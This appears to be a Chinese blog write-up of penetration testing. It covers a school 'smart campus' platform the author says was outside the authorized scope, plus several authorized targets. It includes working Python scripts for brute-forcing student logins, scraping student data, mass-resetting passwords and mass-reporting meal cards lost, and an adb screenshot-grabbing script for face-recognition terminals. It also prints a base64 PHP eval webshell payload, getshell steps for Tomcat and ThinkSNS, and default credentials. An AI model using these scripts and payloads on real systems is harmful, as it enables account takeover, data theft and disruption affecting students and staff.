记某次授权渗透测试与智慧校园一轮游
一、前言
本文第三部分已得到授权,智慧校园系统不在测试范围内(已提交漏洞报告)
如发现存在问题发送邮件到:UzJuer@163.com删除文章
关于如何挖逻辑漏洞的思维图
二、智慧校园系统
1、www.xxx-xxxx.com svn泄露
Ps:后台截图(漏洞已上报并已修复)
1.1、漏洞复现
通过目录扫描发现存在.svn,使用svnExploit可下载文件
一些简单的html和js没有发现一些比较有用的东西
不过比较有意思的是,我在这些文件中找到一些代码
这里action
指向的地址,简述一下,该平台使用云服务一样的桌面池来管理机器,登录后可访问云磁盘与云桌面池(四台ubuntu服务器,其中一台个人PC,里面有平台源代码,一台Centos)
这⾥给出的账号是admin 密码是abc@123 尝试后发现密码是123456
这上⾯有⽤的就是这个桌⾯池能直接连接到⼏台计算机
账号admin密码123456
密码123456
看包和代码好像是这个云平台的源代码
2、www.xxx-xxx.com:58080 svn泄露(源代码)
2.1、漏洞复现
3、www.xxx-xxx.com:58080 弱口令(家长,学生,老师)
3.1、漏洞复现
教育平台弱口令,WIFI+手机+Burp抓包后发现其实公众号上的智慧校园对接的是www.xxx-xxx.com,获取服务器信息后,扫描发现一个58080端口,然后需要登录,猜测一下账号就是学号,密码88888888,000000,00000000,发现尝试后密码为88888888,
尝试20201008,密码88888888(但是没有权限,但是可以挂失卡,大概猜测挂失后应该卡就刷不了了吧)
4、www.xxx-xxx.com:58080 学生账号可批量爆破
4.1、漏洞复现
burp抓包后丢Repeater 没有验证码 没有任何验证 比较常规的暴力破解
改一下post参数发现好像没有别的验证,例如验证码,自己用Python写了一个脚本
Poc如下
import requests as req
import user_agent
import time
def getUserPassBruteForce():
# default UserPassword
userPassWordList = ['88888888', '00000000', '12345678', '666666']
gradeNumList = 2020
defaultPass = 88888888
try:
for num in range(1000, 10000):
r = "http://xxx-xxx.com:port/xxxxx.do?checkxuser"
proxies = {
'https': 'https://127.0.0.1:1087',
'http': 'http://127.0.0.1:1087',
'socks5': 'socks5://127.0.0.1:1086'
}
headers = {
# "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0",
# set random UA
"User-Agent": user_agent.generate_user_agent(),
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": '44',
"Cookie": "JSESSIONID=6024BAA35FE8174BAD11FE3",
"Origin": "http://xxx-xxx.com:port",
"Referer": "http://xxx-xxx.com:port/"
}
data = {
"userName": str(gradeNumList) + str(num),
#"password": getResultUserPasswordList,
"password": 88888888,
"loginDutyId": 1
}
# proxy
# result = req.post(url=r, headers=headers, data=data, proxies=proxies)
# not proxy
result = req.post(url=r, headers=headers, data=data)
print(result.text)
if '操作成功' in result.text:
print(
"[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format(
defaultPass))
print('-' * 50)
print("[*]wait 3 second.... Prevent IP from being ban")
print("[+]LoginSucess info wirte file")
f = open('loginSucess.txt', mode='a+', encoding='utf-8')
f.writelines(
"[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format(
defaultPass) + '\n' + '-' * 40)
time.sleep(3)
# sucessCode += 1
else:
print("[-]falid" + '\n' + 'ErrorUserName:{}{}'.format(gradeNumList,num))
# falidCode += 1
except req.exceptions.ConnectionError:
pass
脚本运行结果(只要返回的信息里面有操作成功,就是密码正确)
5、www.xxx-xxx.com 任意学生信息泄露
5.1、漏洞复现
我们通过教师登录平台发现可以查询学生信息,抓取接口后,未做验证可重复查询,Poc如下
import requests as req
def getStudentinfoF(getSearchName):
# test = '2020' + getSearchName
getURL = 'http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732x9532114'
headers = {
'Accept': '*/*',
'Origin': 'http://www.xxx-xxx:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, '
'like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 '
'MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 '
'NetType/WIFI Language/zxh_CN ABI/arm64',
'Content-Type': 'application/x-www-formx-urlencoded',
'Referer': 'http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'JSESSIONID=AF1x08444123ED874D426F7',
}
data = {
'childs': '37bd371c2b0a123a2937~9001~%C3%A9%C%A5%23
'value': getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)
6、www.xxx-xxx.com:port 任意用户密码重置(可批量爆破)
挖掘思路,平台PC是没有给出修改密码的接口的,但是手机中的智慧校园是有修改密码的功能的,WIFI+Burp代理(记得上证书,不然容易报错),对接口并没有验证,也没有请求次数的限制
6.1、漏洞复现
先抓一个包,重放,没做验证,写脚本前需要先知道2个东西,第一就是childs这个参数为xxxxxxx9001xxxxxxx1需要获取其中的两个参数,这两个参数第一个为用户的ID,具体怎么生成的不知道,看着像MD5,第二个为姓名,URL编码后的
poc代码如下
下面的代码思路,既然我们想更改任意账号的密码,唯一的要求就是xxx9001xxx1这个参数第一个xxx哪里来呢?第一个XXX可以在前面的任意学生信息获取漏洞中拿到,获取学生信息中返回的数据有个叫picurl
这个参数是学生的照片地址,但是照片的名字去掉.jpg就是这段我们需要的数据,第二个xxx很显然 不麻烦,就是学生的姓名,照这个思路,我们只需要让getStudentinfo
return返回一个数据,然后用正则匹配出来这段URL即可,然后用format
把对应的参数填进去即可。
那么如何批量的修改学生账号密码呢,这里给出一种思路,我在漏洞5-水平越权
中可以使用学生学号查询学生的信息,例如我需要更改20级弱口令学生的密码,那么只需要2020+range(1000, 9999)
即可 修改21级
以此类推一个原理,再用正则匹配一下url
,和name
即可做到批量修改密码。
import requests as req
import getStudentinfo
import re
userDefaultPassword = '88888888'
changeNewPassword = '123456789'
def changeUserpassword(searchName):
reusltinfo = getStudentinfo.getStudentinfoF(searchName)
re_resultinfo = re.findall(r'http://www.xxx-xx.com:xxx/xxxx/xxxx/(.*?).jpg"', reusltinfo)
r = 'http://xxxx.com/xxxx/xxxxx.do?updatePassword'
data = {
'childs': '{}~9001~{}~1'.format(re_resultinfo[0], searchName),
'oldpwd': userDefaultPassword,
'newpwd1': changeNewPassword,
'fun': 'xgmm_xs' #This parameter means to change the student's password. If it is to change the teacher's password, the parameter here is xgmm_js
}
headers = {
'Host': 'www.xxx.comm',
'Accept': '*/*',
'Origin': 'http://xxxx.com',
'X-Requestsed-With': 'XMLHttpRequest',
'User-Agent': 'UA',
'Referer': 'http://xxxx-xxx.com/xxxxx/xxxxxxx.do?toTeacherPage&fun=jsxgmm&childs=XXXXXX~9001~xxxxxx~1&flag=1',
'Cookie': 'JSESSIONID=81E52xxF12308DB5C2008E9131BF20B'
}
result = req.post(url=r, headers=headers, data=data)
print(result.text)
print('[+]Change password to', changeNewPassword)
# getUserinput = input('[+]Please Input NewUserPassowrd:')
# getOldPassowrd = input('[+]Please Input oldUserpassowrd:')
getsearchName = input('[+]Please Input SearchName:')
# This Function is not Input oldPassword
changeUserpassword(searchName=getsearchName)
# This Function is define User Input oldPassword
# changeUserpassword(getNewUserPassword=getUserinput, getOldUserPassword=getOldPassowrd, searchName=getsearchName)
7、水平越权---www.xxx-xxx.com:port 可导致大量学生饭卡挂失
挖掘思路为对抓到能重放的POST请求,我都会进行重放,该系统都没有做验证
7.1、漏洞复现
POC如下(利用条件:比如有一个登录了cookie并且不能关闭,然后把cookie填入headers中即可,自动化思路也不麻烦,使用requests.session即可,这里就不再赘述)
但是这个有个缺点是不能定向的攻击,意思是,虽然可以登录任意学生账号,但是如果该学生修改密码了,那平台是无法登陆的,那么post请求中的cardid
这个参数是拿不到的,因为暂时没发现是如何转换的这个参数,也可能是按顺序生成的,所以只能批量的让一定范围(例如130000->200000)这些数字的卡挂失
import requests as req
def DropStudentid():
# default range (100000 -> 999999)
for num in range(135610, 200000):
getURL = "http://www.xxx-xxx.com:port/xxxxxx.Card&cardid={}".format(num)
headers = {
'Content-Length': '29',
'Origin': 'http://www.xxx-xxx.com:ports',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://www.xxx-xxx.com:port/userController.do?goLoseCard&_=16181456343224',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'Q_GENERATEINDEXSTYLE1=shortcut; JSESSIONID=2535611101D2116BB',
}
data = {
'cardstatus':'正常', #url编码
}
getResult = req.post(url = getURL, headers = headers, data = data)
print(getResult.status_code)
print(getResult.text)
8、人脸识别终端adb未授权访问
8.1、漏洞复现
Poc代码如下 每一台手动的去ADB会比较麻烦,用Python写好脚本一键执行更加方便,并且我需要执行命令只需要更改部分代码即可
import os
import datetime
import sys
import time
adbShellDefault_shell = 'adb shell '
adbShellDefault_Connect = 'adb connect '
adbShellDefault_Screencap = 'adb shell screencap -p /sdcard/1.png'
# adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/TestWebSitePoc/'
adbShellDefault_disconnect = 'adb disconnect '
now_time = datetime.datetime.now().strftime('%Y-%m-%d:%H:%M:%S')
def getAdbFaceAuthentication_getScreenCap(OpenPortAddressList):
print('[*]Now Connect device ip:', OpenPortAddressList)
os.system(adbShellDefault_Connect + OpenPortAddressList) # connect device
print('[+]get Screen to sdcard')
os.system(adbShellDefault_Screencap) # img save to sdcard directory
print('[+]Create a new directory')
# os.system('mkdir /FaceAuthenticationImage/' + OpenPortAddressList) # Create new Directory
print('[+]get Device to local directory')
adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/xxx/FaceAuthenticationImage/{}/{}.png'.format(
OpenPortAddressList, now_time)
os.system(adbShellDefault_pullScreencap)# from device pull img save local
# os.system(adbShellDefault_pullScreencap) # from device pull img save local
print('[+]Disconnect device connect')
os.system(adbShellDefault_disconnect + OpenPortAddressList)
if __name__ == '__main__':
# print(logo)
OpenPortAddressList = ['iplist']
for push in OpenPortAddressList:
getAdbFaceAuthentication_getScreenCap(push)
# outPutinfoflush()
三、某次授权渗透测试部分小记
1、帝国CMS 后台GETSHELL
图书馆的一个系统,为开源CMS修改的,然后通过版本探测与其他的信息收集,发现那个版本好像有一个getshell,不过是后台的,尝试一下,账号admin密码123456发现对了之后GetShell了
<script language="php">echobase64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjb WQnXSk7Pz4=");</script>
//这个是当时的payload
点击提交后访问http://xxxxx:port/e/admin/Ri3nSecurity_Team.php
然后使用菜刀连接就可以了
不过需要注意的是,这里执行cmd命令会发现其实不是administrator,需要提权,因为当时除了这里其他地方已经获取到了administrator权限, 所以这个shell就没有提权
2、某营销系统综合实训室逻辑漏洞
1.# __author__ 'R3inS3curity.UzJu'
2.# Creat time 2020/7/17 20:14
3.import requests
4.import re
5.from bs4 import BeautifulSoup
6.
7.def Hacked_Testing():
8. for a in range(1,100):
9. r = 'http://xxx:port/updaXte.dXo?methXod=saXve'
10. cookie1s = {'JSESSIONID':'DCBDA30F80F1DEA2X1123C8080FBE',
11. 'submenuheader':'-1c'}
12. datas = {
13. 'id':a,
14. 'password':'123456789',
15. 'repassword':'123456789',
16. 'stuNo':'200107',
17. 'realName':'%E4%B1231%A3',
18. 'sex':'1',
19. 'schollTime': '2019-03-08',
20. 'tel': '%3Cscr23rt123t%3E',
21. 'address': '%3Cscript%3E1alert%281%23script%3E',
22. 'birthPlace': '%3Cscrip123Fscript%3E',
23. 'idNumber': '%3Cscript%3Eale123C%2Fscript%3E',
24. 'head_img': '%2Fuploadfiles1%123lt_head.gif',
25. 'x=': '50',
26. 'y': '6'
27. }
28. result = requests.post(url=r, cookies=cookie1s, data=datas)
29. soup = BeautifulSoup(result.text, features="html.parser")
30. print('[+]Current ID is:{},UserName is:{}'.format(a, soup.td.text))
31.Hacked_Testing()
这个ID就是用户的ID,修改这个就可以重置任何用户的密码^ ^ 然后写脚本跑
3、C-xxxx打印服务系统未授权访问
只要一直点直接打印,打印机就会一直出纸,也可以DIY打印内容,只需要替换框中的内容即可,后来沟通中反馈说打印机除了非常多的纸,部分员工还以为打印机坏了
4、tomcat弱口令GETSHELL
这个漏洞主要就是tomcat-user.xml的配置问题导致的,然后进到manger后上传shell的war包就可以了
这个账号admin 密码为空,然后上传war包就可以getshell了
5、某卓越营销实践系统SQL注入getshell
这个漏洞没啥好说的,上去sqlmap一把嗦就完事了(其实这里还有一个存储型XSS)
这个服务器改端口了,本来是3389远程连接的,改成了3300,接下来就简单说一下,怎么找到3300这个端口的
Cmd输入tasklist /svc然后找到TermService找到PID2416
然后使用netstat -aon|findstr “2416”找到对应的PID就能找到远程端口
6、ThinkSNS管理员弱口令后台GetShell
漏洞复现地址:http://xxx:port/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://xxx:port/test/UzJu.zip
由于配置问题,访问/data/upgrade就可以看到目录下的文件,data目录也是如此
将数据包的act改成setp2和upurl改成filename=UzJu.zip
然后正常获取权限就行,以下是漏洞代码的位置
漏洞代码发生在路径/apps/admin/lib/Action/UpgradeAction.class.php文件。
46行处,升级时调用check函数升级通过C('UPURL').'?v='.C('VERSION')获取升级链接
在169行,直接再次调用且upurl可控,覆盖之前的&upurl远程升级下载包含.php的UzJu.zip压缩包先下载再校验,存在逻辑问题,直接构造url payload下载。此为漏洞的引发起始点,再往下看在226行处step2,Step2解压也存在问题未进行校验文件就进行解压到网站根目录
7、文件共享信息泄露
全是DB与数据
![image](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage/image-20210420194848589.png]
8、某卓越市场营销模拟平台垂直越权
登录不同的账号,就会有不同的路径,然后尝试改一改路径,发现可以越权,🙂
👆🏻两张图不难发现,我通过修改不同的路径,然后越权到了不同的权限,学生--->老师
内网服务器信息收集,随便放几张图吧,太敏感了
四、结尾
在测试中也拿到了财务服务器的权限,但是由于限制,不出现在本文中。